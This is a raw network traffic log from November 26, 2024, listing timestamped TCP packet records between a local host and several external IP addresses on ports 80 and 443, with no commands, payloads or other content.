Nov 26, 2024 22:52:44.048515081 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048537016 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048553944 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048579931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.048580885 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048599005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048607111 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.048616886 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.048640966 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.048862934 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048880100 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.048902035 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.048928022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.049113035 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.049151897 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.051323891 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.051373959 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.051399946 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.056924105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.056979895 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.056981087 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.057085991 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.059675932 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.059941053 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.059962034 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.065423965 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.065491915 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.065515041 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.065574884 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.072323084 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.072392941 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.072423935 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.086138010 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.086292028 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.086333990 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.099929094 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.099986076 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.100009918 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.115434885 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.115488052 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.115499020 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.127093077 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.127140999 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.127151012 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.141269922 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.141354084 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.141366005 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.155064106 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.155152082 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.155188084 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.166054010 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.166100979 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.166115999 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.168533087 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.168591022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.178455114 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.178543091 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.178554058 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.190633059 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.190711021 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.190721035 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.198585033 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.198999882 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.199048042 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.199502945 CET	49828	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.199510098 CET	443	49828	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.212316036 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.212368965 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.212383986 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.216538906 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.216582060 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.216599941 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.216607094 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.216646910 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.224967957 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.239016056 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.239304066 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.239332914 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.240335941 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.240354061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.240416050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.244225979 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.244277954 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.244291067 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.244318962 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.244328976 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.244343996 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.244383097 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.245762110 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.245774984 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.245846033 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.249177933 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.253623962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.253676891 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.253904104 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.253954887 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.255959988 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.255995035 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.256028891 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.256043911 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.256087065 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.261748075 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.261759996 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.261826992 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.261843920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.263400078 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.269740105 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.269802094 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.269804955 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.270082951 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.277808905 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.277832031 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.277883053 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.277915001 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.283062935 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.283154964 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.283162117 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.283171892 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.283226967 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.285151958 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.285636902 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.285690069 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.285775900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.285979986 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.290703058 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.290777922 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.290785074 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.293850899 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.293901920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.293936014 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.294081926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.294117928 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.294162989 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.294167995 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.301625967 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.301675081 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.301723003 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.301731110 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.301737070 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.301780939 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.301786900 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.301816940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.301816940 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.309808969 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.309871912 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.309880018 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.309914112 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.310621977 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.316670895 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.316716909 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.316721916 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.316745043 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.316782951 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.316842079 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.317001104 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.317011118 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.317040920 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.324270010 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.331762075 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.331816912 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.331845045 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.332950115 CET	443	49831	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.333719969 CET	49831	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.333749056 CET	443	49831	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.334441900 CET	49831	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.334458113 CET	443	49831	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.339375019 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.339426994 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.339481115 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.339508057 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.339548111 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.347021103 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.355278015 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.355340004 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.355345011 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.355385065 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.355460882 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.367228985 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.379553080 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.379595995 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.379618883 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.379647970 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.379686117 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.380692959 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.391752958 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.391823053 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.391876936 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.391906977 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.391952991 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.392859936 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.406193018 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.406649113 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.406680107 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.407206059 CET	49832	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.407217026 CET	443	49832	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.413404942 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.413450956 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.413477898 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.413506985 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.413600922 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.413609028 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.416856050 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.416913033 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.416939020 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.417644978 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.417834044 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.417855024 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.419960976 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.420015097 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.420098066 CET	49816	443	192.168.2.7	142.250.181.65
Nov 26, 2024 22:52:44.420116901 CET	443	49816	142.250.181.65	192.168.2.7
Nov 26, 2024 22:52:44.432122946 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.432194948 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.432267904 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.432359934 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.434484959 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.434531927 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.435303926 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.435348034 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.435385942 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.435436010 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.440120935 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.440180063 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.440282106 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.440326929 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.444832087 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.444885969 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.444922924 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.444972992 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.449479103 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.449527979 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.449557066 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.449598074 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.453975916 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.454024076 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.454054117 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.454091072 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.458523989 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.458580017 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.458595991 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.458643913 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.463010073 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.463058949 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.463077068 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.463124037 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.467545033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.467598915 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.467622995 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.467654943 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.472098112 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.472162962 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.472167015 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.472261906 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.476696968 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.476753950 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.476933956 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.476985931 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.481177092 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.481239080 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.481285095 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.481324911 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.485686064 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.485750914 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.485797882 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.485860109 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.490173101 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.490228891 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.490245104 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.490283966 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.494721889 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.494779110 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.494784117 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.494865894 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.499161005 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.499236107 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.499280930 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.499351978 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.503760099 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.503818989 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.504159927 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.504209042 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.508217096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.508275986 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.508338928 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.508398056 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.512764931 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.512801886 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.512820005 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.512842894 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.517332077 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.517393112 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.517415047 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.517605066 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.521766901 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.521821022 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.521878004 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.521925926 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.526288033 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.526401997 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.526421070 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.526495934 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.530744076 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.530801058 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.558921099 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.558976889 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.559194088 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.559531927 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.559576988 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.559693098 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.560328007 CET	49842	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.560354948 CET	443	49842	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.560924053 CET	49843	443	192.168.2.7	13.107.246.63
Nov 26, 2024 22:52:44.560949087 CET	443	49843	13.107.246.63	192.168.2.7
Nov 26, 2024 22:52:44.624316931 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.624401093 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.624403954 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.624541998 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.626157045 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.626210928 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.626286983 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.626362085 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.630105972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.630135059 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.630182028 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.630207062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.633872986 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.633924961 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.633989096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.634175062 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.637619972 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.637680054 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.637685061 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.637729883 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.641503096 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.641552925 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.641628981 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.641798973 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.644814968 CET	80	49801	185.215.113.206	192.168.2.7
Nov 26, 2024 22:52:44.644875050 CET	49801	80	192.168.2.7	185.215.113.206
Nov 26, 2024 22:52:44.644937992 CET	80	49801	185.215.113.206	192.168.2.7
